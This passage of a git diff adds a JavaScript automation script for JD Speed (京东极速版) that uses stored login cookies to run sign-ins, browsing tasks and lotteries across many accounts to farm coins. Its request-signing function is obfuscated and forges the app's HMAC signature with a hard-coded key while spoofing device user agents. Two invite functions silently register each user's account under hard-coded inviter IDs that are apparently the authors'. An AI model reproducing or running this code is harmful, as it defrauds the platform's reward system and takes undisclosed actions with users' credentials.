if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_speed_signfaker.js b/backUp/jd_speed_signfaker.js new file mode 100644 index 0000000..ffb27fb --- /dev/null +++ b/backUp/jd_speed_signfaker.js @@ -0,0 +1,818 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +*/ + +const $ = new Env('京东极速版任务'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; + + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + // await signInit() + // await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + // await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + let t = +new Date() + let inviterId = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=" + ][Math.floor((Math.random() * 5))] + let headers = { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://assignment.jd.com', + 'accept-language': 'zh-cn', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': `https://assignment.jd.com/?inviterId=${encodeURIComponent(inviterId)}`, + 'Cookie': cookie + } + + let dataString = `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${encodeURIComponent(inviterId)}","type":1}}&appid=market-task-h5&uuid=&_t=${t}`; + + var options = { + url: 'https://api.m.jd.com/', + headers: headers, + body: dataString + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterId = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=", + "YQ5wwbSWDzNIudDC2OWvSw==", + "+vbK7QKOtpHM4dsSRqUPPX/11g/P71iBYh46dyiMuKk=", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=" + ][Math.floor((Math.random() * 7))] + var headers = { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://invite-reward.jd.com', + 'accept-language': 'zh-cn', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://invite-reward.jd.com/', + 'Cookie': cookie + }; + + var dataString = `functionId=InviteFriendChangeAssertsService&body={"method":"attendInviteActivity","data":{"inviterPin":"${encodeURIComponent(inviterId)}","channel":1,"token":"","frontendInitStatus":""}}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`; + var options = { + url: `https://api.m.jd.com/?t=${t}`, + headers: headers, + body: dataString + }; + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : 